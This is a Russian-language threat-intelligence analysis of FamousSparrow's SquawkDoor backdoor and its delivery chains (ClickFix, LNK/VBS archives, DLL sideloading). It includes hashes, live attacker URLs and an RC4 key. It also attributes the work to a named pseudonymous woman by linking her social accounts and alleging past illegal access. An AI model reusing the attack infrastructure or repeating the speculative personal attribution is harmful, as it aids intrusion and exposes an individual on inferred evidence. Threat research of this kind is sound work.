Группировка FamousSparrow в атаках использовала файл hhc.exe (SHA-256: fafb6ffd3ffcf414b702354f62a5216351af4566ed61ece7784846a6938bb8d9), который является компонентом приложения ESET Security Suite, уязвимого для DLL sideloading. В 2018 году этот же файл в своей атаке использовала группировка SectorM04 (Whitefly, Mofang). В атаке использовался тот же .exe, а также аналогичное название DLL для sideloading — MSVCR110.dll, но финальной нагрузкой был PlugX, в то время как в нашем случае это новый инструмент, который мы назвали SquawkDoor. Вредоносные библиотеки с именем MSVCR110.dll использовали разные восточноазиатские группировки, такие как APT31 и Mustang Panda, но конкретный .exe вместе с MSVCR110.dll использовали ранее только SectorM04.

Во время исследования мы также обнаружили связанную незафиксированную атаку в конце августа 2024 года. В атаках было два вектора: через ClickFix, а также через вредоносный архив. Первый вектор был через ClickFix, который при нажатии кнопки «I'm not a robot» копирует в буфер строчку base64, которая после расшифровки качает следующую стадию с https://www.cloudf-update.com/down[.]txt.

down.txt (SHA-256: 56f7237236374acb77c4e158e6026bac9b05b16942a2c89d41bcce6230d42f8c) является PowerShell-скриптом, который качает следующую стадию с https://www.cloudf-update[.]com/wp-statics/test.doc, переименовывает в test.cab, запускает .exe и удаляет скачанный файл.

Внутри CAB-файла (SHA-256: 595a43169bcc5154712311e37c192a8f4bf93fa2a2b5afff465c816b01a187f2) находятся три файла:

1. svctop.exe (SHA-256: fafb6ffd3ffcf414b702354f62a5216351af4566ed61ece7784846a6938bb8d9) — легитимный файл, который впоследствии использовался в атаках SquawkDoor.
2. MSVCR110.dll (SHA-256: f8204ba0763622a5f7ed3ca9d8c970eb52d10505690b17c920039dead408fbc5) — файл для DLL sideloading.
3. svctop.exl (SHA-256: c2570d398b4cae11ae87269e8b9c3a4f53d3860974be04471fa092a96ecebc1d) — полезная нагрузка, представленная загрузчиком.

При загрузке легитимного EXE загружалась библиотека MSVCR110.dll, в которой были переопределены те же самые функции (__crtSetUnhandledExceptionFilter () и _except_handler4_common), как и в SquawkDoor. Переопределены они были аналогичным образом: выделение памяти, загрузка содержимого файла с полезной нагрузкой и его расшифровка алгоритмом RC4, после чего управление передавалось полезной нагрузке.

Запущенный загрузчик выполняет POST-запрос на /wp-statics/test.php? p1=2026, получает полезную нагрузку, расшифровывает ее RC4 и запускает. Ключ для получения — gfj#56^%vfdli. До момента исследования полезная нагрузка не дожила. Указываемый в запросе p1=2026 жестко задан, при этом сама атака была в 2024 году.

Помимо HTML, был найден вектор через архив с LNK-файлами. Был найден архив Тender.rar (SHA-256: d5135980017905588e72f7030410c5903071f803cd4d4060eb51fc28b38b5ba1).

Внутри архива — три легитимных PDF, LNK, VBS и CAB-файл test.doc. Вначале пользователь видит только два PDF и LNK, при этом последний также притворяется PDF-документом. Icon location, как и во всех случаях, — .\1.pdf. При запуске срабатывает команда .\$RECYCLE.BIN\aa.vbs, которая запускает следующий скрипт.

Скрипт перемещает CAB-файл, распаковывает и запускает .exe, подменяет LNK на легитимный PDF и запускает его, а также удаляет все вредоносные файлы. Сами PDF нацелены на Египет. При этом внутри архива был PDF, с которого, вероятно, начиналась атака, а именно Purchase_Form_for_Tender_Dossier.pdf со ссылкой на этот же архив — https://www.cloudf-update[.]com/files/Tender.rar.

Сам CAB-файл с файлами внутри был аналогичен ClickFix-атаке, описанной выше.

LNK-файл Strategi_AS_Referensi_April2026.docx.lnk (SHA-256: 4c7ae604ad1af90ea155865cb28fd7ccd6371f5ac172de6014b328514d4618e7) содержит имя компьютера desktop-k196dpf. Обычно это имя компьютера, на котором создан файл.

Это имя нигде ранее не фигурировало, кроме китайского блога, где пентестер imawuya описывает свое прохождение машины Chemistry на платформе по обучению пентесту Hack The Box.

В данном случае в нескольких местах терминала отображалось имя хоста desktop-k196dpf, которое пентестер использовал для прохождения.

Мы смогли обнаружить дополнительные аккаунты, включая аккаунт в X, bilibili и Instagram*. По ним можно понять, что это молодая девушка из КНР, которая идентифицирует себя как 东北人 (северо-восточная китаянка). Сам аккаунт в X отображается как из Гонконга, но это нормальная практика, так как это практически единственное место в КНР, где X доступен без ограничений, и его используют в качестве VPN-локации для доступа.

Аккаунт в X очень нишевый и является скорее личным блогом, где девушка описывает свои жизненные трудности и делится каким-то мыслями.

Например, однажды imawuya написала о несанкционированном доступе к местному приложению для знакомств, и, судя по переписке, можно предположить, что у нее был доступ к базе данных приложения.

Описание прохождения Chemistry было опубликовано в декабре 2024 года. Вероятность того, что за полтора года такое же имя хоста появилось у случайного человека из Юго-Восточной Азии и этот человек также погружен в кибербезопасность, крайне мала. Учитывая опыт пентеста, а также незаконные действия в прошлом, с высокой уверенностью можно сказать, что вредоносный LNK, нацеленный на Индонезию, тестировался и создавался на компьютере imawuya. При этом, учитывая сложность всех остальных цепочек, а также уникальный бэкдор, можно предположить, что imawuya является членом группировки, но не ключевым участником.

Помимо артефактов в поставляемых LNK-файлах, мы также обнаружили, что в некоторых версиях SquawkDoor (в части образцов данный фрагмент отсутствовал) после расшифровки содержимого файла полезной нагрузки между шеллкодом (рефлективно загружающим бэкдор) и самим бэкдором с затертыми MZ- и PE-сигнатурами присутствует любопытный артефакт — значения переменных окружения.

Назначение такого их расположения неясно: они не используются ни при загрузке, ни самим бэкдором. Однако эти данные позволяют установить, что в качестве домена, связанного с профилем пользователя, использовалось значение HY-17388.

Хронология развития инструментария и последовательность появления его версий представлены на рисунке.

Группировка FamousSparrow существенно усовершенствовала бэкдор SparrowDoor, переработав его архитектуру и объединив наиболее эффективные механизмы из предыдущих версий. Наряду с внедрением дополнительных механизмов маскировки активности эти изменения превратили вредоносное ПО в более функциональный, универсальный и опасный инструмент, предоставляющий злоумышленникам широкие возможности для контроля над скомпрометированной системой.

Атаки с жестко закодированными языками внутри JS и SquawkDoor, а также заражение единичных сайтов указывают на немассовость атак, при этом функциональность как самого бэкдора, так и всей цепочки поддерживает масштабирование и удобное логирование для использования в массовых кампаниях при необходимости.

При этом группировка дважды допустила одну и ту же OPSEC-ошибку, раскрыв имя хоста как в метаданных LNK-файла, так и в расшифрованной полезной нагрузке.